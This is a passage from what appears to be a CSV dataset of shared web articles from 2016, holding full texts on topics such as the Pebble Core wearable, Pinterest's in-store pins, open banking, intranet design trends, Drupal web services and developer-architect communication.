hardware expansion port and early access to Pebble's SDK for Core. Pebble has suggested a variety of potential uses for the Android based device including the ability to track a pet, unlocking a car, turning lights on/off or even opening your garage door. What could make the Core even more desirable for hackers is the fact that Pebble has announced that it's adding support for Amazon's Alexa voice service tech. That means you'll be able to utilise the mic to do things like play music from Amazon Prime Music, get weather and traffic updates, get the day's news read to you, control smart home devices and shop for gifts on Amazon. Pebble Core: Software So here's where things get interesting. For the first time, Pebble has decided to opt for an Android (Android AOSP 5.0 to give it its full name) operating system over its own Pebble OS operating system. That doesn't mean this is an Android only wearable though. It'll be compatible with iPhone 4s and above running at least iOS 8.0. It can also be paired with Android devices running 4.3 (Jelly Bean) and above. Pebble Health fans will be happy to know that you can still tap into the recently introduced software including the ability to track and record runs when making use of the built-in GPS. Pebble Core: Battery life According to Pebble, the Core can muster up 20 hours of battery life while in GPS mode, 9 hours with GPS and listening back to stored music, or 4 hours when the GPS is in use and you're streaming music over 3G. Those are pretty impressive numbers and it's clear that the decision not to include a screen has been a major factor in keeping those stamina levels high. Unlike Pebble's smartwatches, the Core comes with a USB to 3.5mm headphone charging cable and will also offer optional wireless QI charging support, letting you drop it onto third party wireless charging pads and mats to power it up. Pebble Core: Price and release date The Pebble Core is currently available for $69 through Kickstarter, with the price jumping up to $99 when it officially goes on sale. That makes it Pebble's cheapest wearable yet when you consider the Pebble Classic is currently available at around $99. An iPod Shuffle will currently cost you $49 and for the money, the Core is giving you a whole lot more than Apple's cheapest MP3 player. If you want one though, you're going to have to wait. The Core is expected to start shipping in January 2017, not September/November 2016 like the Time 2 and Pebble 2.",en
1465138844,CONTENT SHARED,-401664538366009049,-5868110530814399805,6837395310047141668,,,,HTML,http://www.adweek.com/news/technology/pinterests-real-world-pins-let-store-shoppers-save-real-items-virtual-boards-171815,Pinterest's Real-World Pins Let In-Store Shoppers Save Real Items to Virtual Boards,"It's a real pin that looks like a virtual pin that looks like a real pin. In a bit of reverse engineered skeuomorphism, Pinterest has taken its virtual ""Pin"" button, which was always visually modeled after a physical pin, and actually made it a physical pin-for an intriguing campaign in Brazil that lets people pin items in stores and save them immediately to virtual inspiration boards on Pinterest itself. Agency DM9DDB created the technology and tested it in a campaign for Tok&Stok, Brazil's biggest design furniture store. The biggest challenge, of course, was how to get the pins to know who is pressing them, and thus to whose Pinterest boards the furniture items should be posted. To solve this, the pins use Bluetooth low energy (BLE) to connect with a ""PinList"" app that the shopper must download to his or her phone. This technology helps the pin locate the nearest person and connect with their app. It's explained in more detail in this video: ""The innovation is in the app's easy and intuitive use and all the technology backing it up, so that you don't have to leave the app open or pair your cellphone's Bluetooth with the physical button,"" says Igor Puga, vp for integration and innovation at DM9DDB. E-commerce has tried so hard to mimic the in-store experience; it's fun to see the reverse happening (even if these real-world Pinterest buttons are awfully big, and look kind of goofy when sitting on every item in the store). ""Pinterest has become a source of inspiration in the decor segment with 10 million ideas in Brazil every month. Tok&Stok has been so innovative in combining the process of discovery with saving what you find,"" says Mariana Sensini, managing partner of Pinterest in Brazil. CREDITS Client: Tok&Stok Title: PinList Agency: DM9DDB Chief Creative Officer: Aricio Fortes Executive Creative Director: Paulo Coelho Digital Interactive VP: Igor Puga Creative Director: Adriano Alarcon, Carlos Schleder e João Mostério Content Coordinator: Pedro Baptista Community Manager: Thiago Martinez Art Director: Daniel Lobo Designer: Daniel Matsumoto Illustrator: Big Studios - Rafael Nakahayashi and Rodrigo Alves. Project: Eduardo Martin, Fernando Tolusso, Rafael Gomes Account: Marcelo Passos, Claudia Almeida, Tania Pena, Beatriz Rodrigues, Thais Moura RTVC: Fabiano Beraldo, Juliana Henriques, Ana Lucia Marques Production: Clariana Regiani da Costa, Nereu Marinho Digital Production: Bizsys Approved by: Flavia Lucena",en
1465149373,CONTENT SHARED,1415230502586719648,-1032019229384696495,8076865117288875488,,,,HTML,http://www.forbes.com/sites/louiscolumbus/2016/06/04/machine-learning-is-redefining-the-enterprise-in-2016/,Machine Learning Is Redefining The Enterprise In 2016,"Bottom line: Machine learning is providing the needed algorithms, applications, and frameworks to bring greater predictive accuracy and value to enterprises' data, leading to diverse company-wide strategies succeeding faster and more profitably than before. Industries Where Machine Learning Is Making An Impact The good news for businesses is that all the data [...]",en
1465182797,CONTENT SHARED,2037560494723407153,3217014177234377440,8077668236750639768,,,,HTML,https://www.coursera.org/learn/running-design-sprints,[Free Course] Running Valuable Design Sprints - University of Virginia | Coursera,"About this course: Typically, clients and managers don't want to pay for design (or strategy) but want to rush toward results. Design sprints allow you to meet clients' desire for solutions--to develop sooner--and still adjust based on feedback. But not all sprints are alike. In this course, you'll learn how to run situation-appropriate sprints, whether it's testing user motivation, interface usability, or solution fit, to avoid waste and deliver value. We'll show you how to: - Plan and conduct a design sprint that delivers valuable, actionable insights - Effectively test motivation and value propositions - Effectively test user interface (even without working software) - Focus and drive to actionable conclusions on questions of approach and architecture This course is supported by the Batten Institute at UVA's Darden School of Business. The Batten Institute's mission is to improve the world through entrepreneurship and innovation: www.batteninstitute.org.",en
1465215228,CONTENT SHARED,5028081187109329892,3609194402293569455,2451371937909607412,,,,HTML,http://www.programmableweb.com/news/what-open-banking-and-why-it-important/elsewhere-web/2016/06/05,What Is Open Banking and Why is it Important?,"Open Banking is a relatively new financial term that is seeking to use open source technologies to enable third-party developers to build financial applications and related services that could change the way people bank. Sergio Chalbaud recently discussed the topic in an article for The Financial Brand. This use of APIs means banking data will be available in real-time for use in third-party applications that will provide consumers with better ways to transact, save, lend and invest their money than are currently available. It also means SMEs will gain real-time access to bank data even when using commercial software, and consumers can access better loan terms since lenders have access to historical transactional data to determine a borrower's risk level. In the UK, the Open Banking Working Group (OBWG) established in 2015 came up with the Open Banking Standard that provides a new set of models that act as a guide for how open banking data should be created, shared and used. Germany's version of the standard, the popular Open Bank Project, has been around since 2010, creating an ecosystem of third-party customer applications. In the US, fin-tech company Mint pioneered the concept of independent financial applications that provide a 360-degree financial view of a consumer's various bank accounts. However, even with 4,000 to 7,000 new users signing up every day, the lack of an equivalent Open Banking Standard leaves financial innovators vulnerable to the agendas of established banks. Emerging markets such as Latin America, where only 51% of adults have a bank account, could greatly benefit from an open banking standard, giving many individuals access to credit, loans and investment opportunities for the first time. By providing financial institutions with the resources they need to keep up with constant technological developments, the Open Banking Standard nurtures productive competition amongst financial services providers to the benefit of consumers. This type of model is already showing promise in the UK, and could lead other regions to adopt similar policies.",en
1465215526,CONTENT SHARED,-3544655814153481738,3609194402293569455,2451371937909607412,,,,HTML,http://trendwatching.com/trends/future-of-africonnection/,New Africa Trend Briefing from TrendWatching | THE FUTURE OF AFRICONNECTION,"A strong sense of togetherness and community has long been a hallmark of African culture. After all, social connection is a fundamental human need. Now, African consumers are using new kinds of social connection and new kinds of relationships - online, P2P, the sharing economy, crowd-sourcing, co-creation, and more - to have fun, make money, learn new skills and tackle shared problems. We tracked these shifts in our original AFRICONNECTION Trend Briefing way back in 2014 - and they continue to evolve! And when external change (in this case, often the internet) unlocks a new way of serving a basic human need, brands should see one word... OPPORTUNITY!",en
1465215887,CONTENT SHARED,3272519107572730082,3609194402293569455,2451371937909607412,,,,HTML,http://trendwatching.com/trends/16-innovations-from-2016/,New free Trend Briefing from TrendWatching | INNOVATION CELEBRATION 2016,"The epic quest for social status is the primary driver behind so much consumer behavior. Which means smart brands will take any opportunity to give their customers a once-in-a-lifetime moment. But how many are thoughtful and flexible enough to go as far as this? When the sun, moon, and earth aligned in March 2016, an Alaska Airlines jet was in the perfect position for passengers to view the total solar eclipse. Planning for that moment began in March 2015 when US astronomer Joe Rao realized that a scheduled Alaska Airlines plane would be almost perfectly-placed, but a little early. Alaska's director of onboard brand experience and the fleet director pushed back the journey time of Flight 870 by 25 minutes to give passengers the perfect view of the eclipse.",en
1465223012,CONTENT SHARED,734632752661830332,-1032019229384696495,274323316620753064,,,,HTML,https://www.thinkwithgoogle.com/articles/youtube-empowering-ads-engage.html?utm_medium=email-d&utm_source=2016-06-think-letter&utm_campaign=20160606-think-letter-weekly-insight-a-OT-OT-CS&utm_content=Video-img&mkt_tok=eyJpIjoiTm1WaVpHTm1ORFExWkRKaiIsInQiOiJpSTJNQW5VOXlTTmpkaU83K1NiRDA1RW03bkFvaEpRSFJQd3JrNGN5RFZ4ZUpUXC9XXC9JaG1raXRiaTRsVHc2RkdcL250aUtsR2EzSW1ldGZlY0Rpc2xJdWJaMDhNYUNXZ3ZOSGsraUVyalFubz0ifQ%3D%3D,Susan Wojcicki on the Effectiveness of Empowering Ads on YouTube,"Ads that empower women don't just generate impressions, they leave them. They are more likely to be seen, shared, and remembered. Susan Wojcicki, CEO of YouTube, explains why this is a such a tremendous opportunity for savvy brands and enlightened creative agencies. The girl says to the doll, ""I'll make believe that I am you."" With those seven words, Mattel introduced the world to Barbie, America's first fashion doll. The original commercial, which aired in 1959 (and of course is up on YouTube), shows Barbie in various outfits, from ball gowns to bathing suits. But then, as the music crescendos, we hear those seven words against a lasting image: Barbie in a wedding dress. That's the kind of advertising both my mother and I grew up with. Women in commercials were portrayed as either mothers or models, wives or waitresses, with few depictions of the diverse lives we could lead outside of our relationships to men or children. If we weren't arm candy, we were eye candy, as scantily clad women promoted everything from beer to cheeseburgers to gym memberships. Women ages 18-34 are twice as likely to think highly of a brand that made an empowering ad. [[callout-headline-1]] But recently, we've seen some brave advertisers portray women and girls in a new light, one focused on breaking down stereotypes, rather than reinforcing them. From Always' #LikeAGirl to Nike's #BetterForIt , women are being encouraged, celebrated, held up not for how they look but for what they can accomplish. And while the latest research from the American Psychological Association shows that sex doesn't actually sell , it's clear on YouTube that empowerment engages. In the past year, the number of empowering advertisements that appeared on our Ads Leaderboard -our monthly tracker of the most watched ads on YouTube-more than doubled. 1 A big reason for that trend is that people are choosing to watch them; the top 10 empowering ads were two-and-a-half times less likely to be skipped than their peers. 2 To highlight this movement, we've collected those top 10 ads into a special Empowering Ads Leaderboard , featuring those that performed best on YouTube. [[inline-video-1]] These ads don't just generate impressions, they leave impressions. Women ages 18-34 are twice as likely to think highly of a brand that made an empowering ad and nearly 80% more likely to like, share, comment, and subscribe after watching one. 3 We also ran ad recall studies on eight of the campaigns on the Empowering Ads Leaderboard, and all performed in the top 25% of their categories, with most in the top 10%. 4 [[callout-headline-2]] So if empowering ads are so effective, why are we only seeing them now? Partly because women are being called upon to advertise to women. Despite the disappointing fact that only 11% of creative directors are women, 5 half of the creatives responsible for the empowering ads on our Leaderboard were women. 6 With women expected to control two-thirds of consumer spending in the U.S. over the next decade, 7 creative agencies would be wise to empower women not just in their ads but in their own ranks. But I believe another big reason for the rise of these ads isn't just the artist, it's the canvas. With YouTube, brands can break free of the 30- or 60-second spot to tell rich, nuanced stories. They can take advantage of the creative freedom our platform allows to tackle complex issues like glass ceilings or gender violence . Dove's Real Beauty Sketches , a video many consider the start of this trend, was a three-minute meditation on women's self-image, something you simply couldn't imagine airing on TV during a commercial break. [[inline-video-2]] And perhaps most importantly, social media gives women viewers a voice and opportunity to talk back. We've seen sexist or regressive ads draw an increased number of critical comments and dislikes from both men and women on our platform, while hashtags like #WomenNotObjects and #NotBuyingIt have led thousands to critique ads and boycott brands. I'm incredibly proud of the role YouTube has played in bringing more textured, inspiring stories to life and I'm prouder still that a community of engaged fans is consistently watching and engaging with them. It goes to show that people are hungry for creative that empowers, rather than objectifies. Savvy brands and enlightened creative agencies have a tremendous amount to gain by satisfying those appetites. As for Barbie, she's got a new look and a new ad. In the campaign, called "" Imagine the Possibilities ,"" we see young girls giving a college lecture to a room full of surprised students, treating a sick animal, taking a business call at the airport and coaching a men's soccer team. At the end of the ad, we realize the girls are imagining their own future as they play with their Barbie dolls. The message is still ""I'll make believe that I am you,"" but this time Barbie's wearing a lab coat, not a wedding dress. It's been watched more than 20 million times. This op-ed originally appeared in the April 2016 Adweek Women's Issue . Sources 1 YouTube data, U.S., 2014-2015. 2 Compared to their peers in similar categories. YouTube Data, U.S., 2013-2015. 3 Google Consumer Survey, U.S., February 2016. (n=1,500 women, ages 18-34) 4 There were ad recall studies featuring eight of the empowering ads from 2015 considered for our Leaderboard. All of the empowering ads were best-in-class and drove significant lift in ad recall, with all performing in the top 25% of their peer set and the majority in the top 10% of their peer set. 5 6 YouTube Data, U.S., 2013-2015. 7 Susan Wojcicki CEO of YouTube",en
1465223368,CONTENT SHARED,8890720798209849691,1895326251577378793,-1847389231177111235,,,,HTML,https://www.nngroup.com/articles/top-intranet-trends/?utm_source=Alertbox&utm_campaign=2449df7535-Diary_Studies_Top_Intranet_Trends_06_06_2016&utm_medium=email&utm_term=0_7f29a2b335-2449df7535-40280153,Top 10 Intranet Trends of 2016,"Summary: Hero images, carousels, fat footers, video, minimalist design, and responsive navigation, are among some of the top feature trends of the best intranets of 2016. We even see a revival of online help that's actually helpful to employees exploring new features or attempting complex tasks. Each winning intranet has its own style, feature set, and personality, unique and special in its own way. But, great minds do think alike, and some themes and features are common in multiple or all of the winning intranets in our Intranet Design Annual 2016 . The 10 best-designed intranets for 2016 may be leading-edge cases, but the trends in their design should spread to more mainstream intranets in the next few years. Although every intranet feature won't work well at every organization, feature trends from outstanding intranets can inspire your intranet redesign. Stay ahead of the curve and consider taking on some of the following intranet design trends now: Help and tutorials Simple, minimalist-looking design Better photos Search evolution Carousels and heroes Fat footers Left-side navigation Social features targeted at particular topics or groups Video Business communication Help and Tutorials After many years of being chastised for being unhelpful, online help went out of fashion. This was reinforced by the idea that an interface should stand on its own, and not need help to be usable. This year, however, we saw a resurgence of Help that is helpful. While the winning-intranets' mostly employ nice-and-easy user interfaces, occasional more-involved or new interface elements do benefit from well-designed help. Help features can aid in discoverability of functionality, and expedite employees' learning and understanding of the intranet and its capabilities. At Intermountain Healthcare, employees who need a little assistance can refer to the Help section in the right rail. Similarly, The Co-operators provides thorough, wide-ranging guidance about how to make the most of its intranet. Simple, Minimalist-Looking Design The "" flat and boxy"" designs prevalent in years past are much less pronounced this year. Most of the designs, however, continue to boast a simple, sometimes minimalist , aesthetic. Some designs, such as those from Enbridge; Repsol; and Cadwalader, Wickersham & Taft, use generous white space. Intermountain Healthcare, NAV CANADA, Swedish Parliament, and (to a lesser degree) American Cancer Society all use rectangles for a boxy, easy-to-scan design. Better Photos Whether it indicates a strong commitment to photography , more people sharing photos, or simply today's better phone cameras, the photographs on the winning intranets are quite engaging. Photos typically relate strongly to the material they accompany and often show employees doing their work. For example, the Enbridge site shows an employee evaluating a particular job site. DORMA shows two employees joking around. Search Evolution Intranet search is a lion that the best intranets tame . The evolution of search on this year's winning sites is impressive. To enhance its intranet search, Cadwalader, Wickersham & Taft consolidates data sources to produce a single point of entry to knowledge resources. Salini Impregilo's search, which appears on every page, allows employees to search the entire intranet for news, people , projects, and documents. Carousels and Heroes Although the carousel is still a prominent feature on winning intranets, the hero is making a comeback. Some organizations, such as NAV CANADA and Repsol, still opt for multiple images and statements in one area, while others, such as Salini Impregilo and Intermountain Healthcare prefer one hero image to make the desired statement. Fat Footers Large footers at the bottom of pages became popular a few years ago and remain common today. Employees often know that the information they're seeking is on the intranet, but they can't always find it. When using a public-facing website, people may have the option to leave the site, and will. But employees often know that the intranet is the main source or the only place to turn to to find particular content. Providing organized links at the bottom of pages provides employees with one more chance to locate what they need. The content in these footers can be arranged in many different ways: repeat the global navigation suggest related content present popular links On the NAV CANADA intranet, the wide footer navigation repeats the global navigation topics and offers a list of the megamenu links. The Enbridge footer includes links to the public sites of Enbridge companies and information for contacting the Enterprise Service Desk. It also lists Ethics and Conduct information, along with a reminder: "" Let's work together to maintain a respectful workplace ."" All of these visually use an obvious aesthetic element to indicate the footer; this element can be: colored background that is different from that of the rest of the page border (line) delineating the footer from the page content combination of the above Side Global Navigation Because mega menus don't work in a phone UI, designers often use a mega menu for desktop navigation , and an accordion or some other option for mobile navigation . Some teams opt for menu UIs that translate easily from desktop to mobile . One such pattern popular this year is the vertical navigation bar down the left side of the page. The Swedish Parliament and Cadwalader, Wickersham & Taft are among the winning organizations that follow this navigation pattern. Targeted Social A great trend from past years continues this year: presenting social tools in an understandable, targeted way. Gone are the days of displaying a wall feed on the homepage or in personal profiles with no additional description or context. Great intranets use social features to encourage further communication about important or trending topics. DORMA's CEO participates in the social features, leading employees by example and playing a big role in the social features' success. Two major company events occurred near the features' launch; these events provided a source of content, increased interest, and natural momentum for success. The Cadwalader, Wickersham & Taft intranet lists recent hires and employee anniversaries on the homepage. Such seemingly simple features can go a long way toward building a sense of community and inclusiveness in an organization. The Co-operators offers a variety of social features, including the weekly Five Minutes With ... (an employee-profiles feature), polls, achievements, Popular Links , and the ability for users to submit news. Also, in the site's executive blogs, senior leaders share their knowledge and opinions and ask employees to do the same. The Trending Now section on the American Cancer Society intranet summarizes the site resources, search terms, and pages that receive the most traffic. This section is a simple and automated way to keep users informed of the site's most popular items. Enbridge employees can easily access the company's public information on social sites - including Twitter, Facebook, LinkedIn, and YouTube - via links in the middle of the homepage. This section also includes a link to the @enbridge blog. Providing quick access to external sites raises employee awareness about information that Enbridge is sharing with the public and about the conversations occurring on social-media sites. Video Tools to create, edit, and post videos have made them accessible and easy to deal with. Prevalence in social channels has lowered the expectation for high-quality video production . In fact, many people welcome the simplicity and folksiness of more realistic, just-shot-myself type of videos. With these changes, individuals, teams, and even high-level managers are taking advantage of video and sharing information in this way. Videos are often stored in their own section of the intranet, which allows employees to sort, filter, and search by topic. But videos, like written content, are also presented on the homepage, in news sections, and cross linked from related contend. Business Communication Business people have learned that the intranet is the perfect place to communicate their goals and statuses to all employees. This information helps employees realize how the organization is doing and motivates them to work toward and achieve organizational goals. It also adds a level of respect, signaling to all employees that they are important enough to know where the organization has set it sights, and that that each person can play positive a role in those plans. Conclusion Whether your organization is large or small; formal or informal; public, private or government; consider which of the trends here can be implemented, deployed, and used successfully on your intranet. Choose a few to do over the next year to enhance the user experience, and increase the business value of your intranet. Full Report For more information about themes, intranet best practices, and full-color screenshots of the 10 winners, download the 2016 Intranet Design Annual . The report download comes with a folder containing each image as a .png to make it possible to zoom in and study the designs in detail.",en
1465223936,CONTENT SHARED,4633013345375349272,3891637997717104548,-2575238046537180200,,,,HTML,http://buytaert.net/advancing-drupal-web-services,Dries Buytaert: Advancing Drupal's web services,"In an earlier blog post , I looked at the web services solutions available in Drupal 8 and compared their strengths and weaknesses. That blog post was intended to help developers choose between different solutions when building Drupal 8 sites. In this blog post, I want to talk about how to advance Drupal's web services beyond Drupal 8.1 for the benefit of Drupal core contributors, module creators and technical decision-makers. I believe it is really important to continue advancing Drupal's web services support. There are powerful market trends that oblige us to keep focused on this: integration with diverse systems having their own APIs , the proliferation of new devices, the expanding Internet of Things (IoT), and the widening adoption of JavaScript frameworks. All of these depend to some degree on robust web services. Moreover, newer headless content-as-a-service solutions (e.g. Contentful, Prismic.io, Backand and CloudCMS) have entered the market and represent a widening interest in content repositories enabling more flexible content delivery. They provide content modeling tools, easy-to-use tools to construct REST APIs, and SDKs for different programming languages and client-side frameworks. In my view, we need to do the following, which I summarize in each of the following sections: (1) facilitate a single robust REST module in core; (2) add functionality to help web services modules more easily query and manipulate Drupal's entity graph; (3) incorporate GraphQL and JSON API out of the box; and (4) add SDKs enabling easy integration with Drupal. Though I shared some of this in my DrupalCon New Orleans keynote , I wanted to provide more details in this blog post. I'm hoping to discuss this and revise it based on feedback from you. One great REST module in core While core REST can be enabled with only a few configuration changes, the full extent of possibilities in Drupal is only unlocked either when leveraging modules which add to or work alongside core REST's functionality, such as Services or RELAXed , or when augmenting core REST's capabilities with additional resources to interact with (by providing corresponding plugins ) or using other custom code. Having such disparate REST modules complicates the experience. These REST modules have overlapping or conflicting feature sets, which are shown in the following table. I would like to see a convergence where all of these can be achieved in Drupal core with minimal configuration and minimal code. Working with Drupal's entity graph Recently, a discussion at DrupalCon New Orleans with key contributors to the core REST modules, maintainers of important contributed web services modules, and external observers led to a proposed path forward for all of Drupal's web services. A visual example of an entity graph in Drupal. Buried inside Drupal is an ""entity graph"" over which different API approaches like traditional REST, JSON API, and GraphQL can be layered. These varied approaches all traverse and manipulate Drupal's entity graph, with differences solely in the syntax and features made possible by that syntax. Unlike core's REST API which only returns a single level (single entity or lists of entities), GraphQL and JSON API can return multiple levels of nested entities as the result of a single query. To better understand what this means, have a look at the GraphQL demo video I shared in my DrupalCon Barcelona keynote . What we concluded at DrupalCon New Orleans is that Drupal's GraphQL and JSON API implementations require a substantial amount of custom code to traverse and manipulate Drupal's entity graph, that there was a lot of duplication in that code, and that there is an opportunity to provide more flexibility and simplicity. Therefore, it was agreed that we should first focus on building an ""entity graph iterator"" that can be reused by JSON API, GraphQL, and other modules. This entity graph iterator would also enable manipulation of the graph, e.g. for aliasing fields in the graph or simplifying the structure. For example, the difference between Drupal's ""base fields"" and ""configured fields"" is irrelevant to an application developer using Drupal's web services API, but Drupal's responses leak this internal distinction by prefixing configured fields with field_ (see the left column in the table below). By the same token, all fields, even if they carry single values, expose the verbosity of Drupal's typed data system by being presented as arrays (see the left column in the table below). While there are both advantages and disadvantages to exposing single-value fields as arrays, many developers prefer more control over the output or the ability to opt into simpler outputs. A good Drupal entity graph iterator would simplify the development of Drupal web service APIs, provide more flexibility over naming and structure, and eliminate duplicate code. Current core REST (shortened response) Ideal core REST (shortened response) GraphQL and JSON API in core A comparison of different API approaches for Drupal 8, with amended and simplified payloads for illustrative purposes. We should acknowledge simultaneously that the wider JavaScript community is beginning to embrace different approaches, like JSON API and GraphQL , which both enable complex relational queries that require fewer requests between Drupal and the client (thanks to the ability to follow relationships, as mentioned in the section concerning the entity graph). While both JSON API and GraphQL are preferred over traditional REST due to their ability to provide nested entity relationships, GraphQL goes a step further than JSON API by facilitating explicitly client-driven queries, in which the client dictates its data requirements. I believe that GraphQL and JSON API in core would be a big win for those building decoupled applications with Drupal, and these modules can use existing foundations in Drupal 8 such as the Serialization module. Furthermore, Drupal's own built-in JavaScript-driven UIs could benefit tremendously from GraphQL and JSON API. I'd love to see them in core rather than as contributed modules, as we could leverage them when building decoupled applications backed by Drupal or exchanging data with other server-side implementations. We could also ""eat our own dog food"" by using them to power JavaScript-driven UIs for block placement, media management, and other administrative interfaces. I can even see a future where Views and GraphQL are closely integrated. SDKs to consume web services While a unified REST API and support for GraphQL and JSON API would dramatically improve Drupal as a web services back end, we need to be attentive to the needs of consumers of those web services as well by providing SDKs and helper libraries for developers new to Drupal. An SDK could make it easy to retrieve an article node, modify a field, and send it back without having to learn the details of Drupal's particular REST API implementation or the structure of Drupal's underlying data storage. For example, this would allow front-end developers to not have to deal with the details of single- versus multi-value fields, optional vs required fields, validation errors, and so on. As an additional example, incorporating user account creation and password change requests into decoupled applications would empower front-end developers building these forms on a decoupled front end such that they would not need to know anything about how Drupal performs user authentication. As starting points for JavaScript applications, native mobile applications, and even other back-end applications, these SDKs could handle authenticating against the API and juggling of the correct routes to resources without the front-end developer needing an understanding of those nuances. In fact, at Acquia we're now in the early stages of building the first of several SDKs for consuming and manipulating data via Drupal 8's REST API. Hydrant , a new generic helper library intended for JavaScript developers building applications backed by Drupal, is the work of Acquia's Matt Grill and Preston So , and it is already seeing community contributions. We're eager to share our work more widely and welcome new contributors. Conclusion I believe that it is important to have first-class web services in Drupal out of the box in order to enable top-notch APIs and continue our evolution to become API-first. In parallel with our ongoing work on shoring up our REST module in core, we should provide the underpinnings for even richer web services solutions in the future. With reusable helper functionality that operates on Drupal's entity graph available in core, we open the door to GraphQL, JSON API, and even our current core REST implementation eventually relying on the same robust foundation. Both GraphQL and JSON API could also be promising modules in core. Last but not least, SDKs like Hydrant that empower developers to work with Drupal without learning its complexities will further advance our web services. Collectively, these tracks of work will make Drupal uniquely compelling for application developers within our own community and well beyond. Special thanks to Preston So for contributions to this blog post and to Moshe Weitzman , Kyle Browning , Kris Vanderwater , Wim Leers , Sebastian Siemssen , Tim Millwood , Ted Bowman , and Mateu Aguiló Bosch for their feedback during its writing.",en
1465239455,CONTENT SHARED,-3513515650250501785,7645894863578715801,2505021711888624974,,,,HTML,http://www.daedtech.com/bridging-the-communication-gap-between-developers-and-architects/,Bridging the Communication Gap Between Developers and Architects - DaedTech,"Editorial Note: I originally wrote this post for the NDepend blog. Go check out the original here, at their site . While you're there, have a look around at the other posts and at NDepend itself. If you want to set off a ceaseless, spirited discussion, ask a roomful of people what makes some music good and other music bad. The opinions are likely to be as spirited as they are diverse, with, perhaps, good points to be had. But consensus is unlikely. If you want to see a similar dynamic in the software development world, ask a roomful of software developers what a software architect is. What makes a person an architect? Does the architect write code? What kinds of decisions should an architect make? What is the relationship between architects and developers? Do developers report to the architect, or is it a ""dotted line"" reporting relationship? Maybe they're peers? Do architects need to have a lot of domain knowledge? Do architects need to be the best programmers (or at least have been at some point)? You get the idea. Go out and observe enough software shops in action, and you will see every different imaginable answer to these questions in every possible combination. This fact alone lays seeds for myriad communication complexities between developers and architects. In any shop, a developer is more or less a developer. But the architect role varies widely and, as developers move from company to company, this creates confusion. Before going further down that path, let's consider some things that are often true of a software architect. And, I say ""often true"" because, as I just pointed out, the definition is fluid enough that it's hard to pin things down definitively the way we might say, ""software developers write computer programs."" Architects tend to be the ones to make ""big picture decisions"" (which language/database/framework will we use?) Architects tend to have more tenure at companies and more industry experience. Architect tends to be a leadership role, meaning they supply either thought leadership, org chart leadership, technical leadership, or some combination. Architects tend to have more face time with ""the business"" than developers. What do all of these tendencies mean? Well, simply put, they mean that architects have somewhat of a different area of focus than software developers. Developers concern themselves primarily with the tactical, and architects concern themselves mainly with the strategic. The concept of tactics versus strategy can be (perhaps over-) simplified to the idea that strategy is the ""what"" and tactics are the ""how."" If it comes to your personal finance, ""diversification"" may be the strategy and ""spend X amount on stocks, Y on bonds, and Z on real estate"" may be your tactics. In a perfect world, the strategic and tactical planners operate in lockstep with different focus. The strategic planners establish the goals and vision and the tactical planners translate those goals and vision into an execution plan. But collaborating at different levels of granularity is an extremely hard problem to solve. Most commonly, such as in the case of militaries or sports teams, the communication is simplified by giving absolute control to the strategic planner. If the coach or the commander tells you to do a somersault, you simply do it without thought or hesitation, tactically executing the maneuver as crisply as possible. This is at the heart of the command and control division of labor, and each level of the hierarchy becomes more strategic and less tactical. In spite of repeated attempts by the industry to the contrary, however, this model tends to go poorly when it comes to knowledge work. Asking software developers to operate in a purely tactical mode without understanding of or concern for the bigger picture produces profoundly bad results. Massive graveyards of heavily templated, code-generated legacy applications speak to this. Instead, software development goes more smoothly when architects communicate their strategic visions to the developers and the developers provide feedback based on tactical realities. To give this a bit more concreteness, let's say that I'm an architect and I have a vision for building some functionality with as little in-house code as possible to save on maintenance staff and costs. Part of my strategic vision is, ""let's use a 3rd party web service to locate stores near the GPS coordinates supplied by our users."" The developers involved then set about making this happen, but discover that the third party API is actually extremely unreliable and subject to frequent outages. But let's say that, as they're discovering this by perusing Q&A sites like stack overflow , they happen upon an elegant solution to do it locally with almost no code. This is the point where communication has to be able to flow the other way as well. Knowledge workers at all levels need to be trusted to participate in strategy, when it makes sense. The question thus becomes, ""how should communication between architects and developers occur?"" With two different areas of focus, how can each keep the other in the loop? Well, here are a few critical pieces that can go a long way. Automate. Architects in many organizations lay out coding standards and architectural guidelines to be followed. Automate enforcement of these via the build so that out of band effort isn't required to check that things aren't drifting. If a guideline becomes a serious point of friction, it's time to surface it to the architect. Post strategic goals for all to see. Goals like ""keep in-house code to a minimum"" shouldn't be known only to a few. Trust the people in charge of tactical work to understand the strategic backdrop and to execute it when they encounter ambiguity. Make the architecture visible. It's one thing to hear an architect ranting and raving about dependencies or global variables or whatever. It's quite another when everyone can see the architecture degenerating into a big ball of mud , one haphazard dependency at a time. Architects pair in from time to time. Have the architects sit with the developers from time to time for a few hours here and there. Write code together so that the the architects get a dose of the tactical friction every now and then to inform their strategic approach. The suggestions I've listed here are by no means exhaustive, but they might help to bridge the communication gap between developers and architects. Whatever the breakdown of work between developers and architects in your organization, there is no downside to having them collaborate as closely and efficiently as possible. The more you can use tools at your disposal to facilitate that, the better.",en
1465243799,CONTENT SHARED,-986193709330758766,7527226129639571966,4981190668762250875,,,,HTML,https://www.systemcodegeeks.com/meta-scg/system-code-geeks-are-giving-away-a-free-sublime-text-editor-license/,System Code Geeks are giving away a FREE Sublime Text Editor License,"Struggling with your heavy-weight editor? Then we have something especially for you! We are running a contest giving away a FREE license for the kick-ass Sublime Text Editor . Sublime Text is a sophisticated text editor for code, markup and prose. You'll love the slick user interface, extraordinary features and amazing performance! Sublime Text is available for OS X, Windows and Linux. It uses a custom UI toolkit, optimized for speed and beauty, while taking advantage of native functionality on each platform. Enter the contest now to win your very own Sublime Text Editor license ! In addition, we will send you free tips and the latest news from the SysAdmin community to master your technical knowledge (you can unsubscribe at any time). In order to increase your chances of winning, don't forget to refer as much of your friends as possible! Make sure to use your lucky URL to spread the word ! You can share it on your social media channels, or even mention it on a blog post if you are a blogger! Good luck and may the force be with you!",en
